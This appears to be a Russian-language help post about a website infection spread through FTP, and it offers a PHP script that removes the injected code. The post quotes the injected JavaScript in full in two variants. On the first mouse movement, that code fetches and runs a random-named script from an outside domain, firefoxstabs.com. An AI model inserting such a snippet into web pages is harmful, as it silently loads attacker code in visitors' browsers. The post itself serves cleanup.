вирус на FTP в index.* и *.JS файлах

добавляется в конце файла index.* & *.JS

<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></script><script type="text/javascript">var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1; x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});</script>
document.write('<scr'+'ipt src=\"https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js\"></scr'+'ipt>');var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1;x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});

мне это помогло, поможет и вам. :)

удаляет из index.* & *.JS вредоносный код

1) просканировать компьютер на вирусы

2) обязательно смените пароль на FTP

3) загрузить firefoxtabs_remover.php на FTP и запустите _http://yourdomain/firefoxtabs_remover.php

<?php 
define ('BR', "<br />\r\n"); 
$srch='<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></script><script type="text/javascript">var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1; x.getScript(\'http://firefoxstabs.com/\' + Math.random().toString().substring(3) + \'.js\', function() {flag = 2;});}});});</script>'; 
$srch2="document.write('<scr'+'ipt src=\"https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js\"></scr'+'ipt>');var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1;x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});"; 

function clean_file($file)
{ 
global $srch;
global $srch2; 
   $basename=basename($file); 
   $filename=substr($basename, 0, strrpos($basename, '.')); 
   //print($file.BR);

       $f_in=file_get_contents($file); 
       if (strpos($f_in, $srch)!=false) { 

             print("<b>".$file."</b><br>");
           $f_in=str_replace($srch, '', $f_in); 
           file_put_contents($file, $f_in); 
       } 
       if (strpos($f_in, $srch2)!=false) { 

           print("<b>".$file."</b><br>");

           $f_in=str_replace($srch2, '', $f_in); 
           file_put_contents($file, $f_in); 
       } 

} 

function firefoxtabs_remover($dir){ 
   if ($objs = glob($dir."/*")) { 
       foreach($objs as $obj) { 
           if (is_dir($obj)) firefoxtabs_remover($obj); 
           else clean_file($obj); 
       } 
   } 
} 

$dir=realpath('./'); 
firefoxtabs_remover($dir); 
?> 

Загрузить: firefoxtabs_remover.php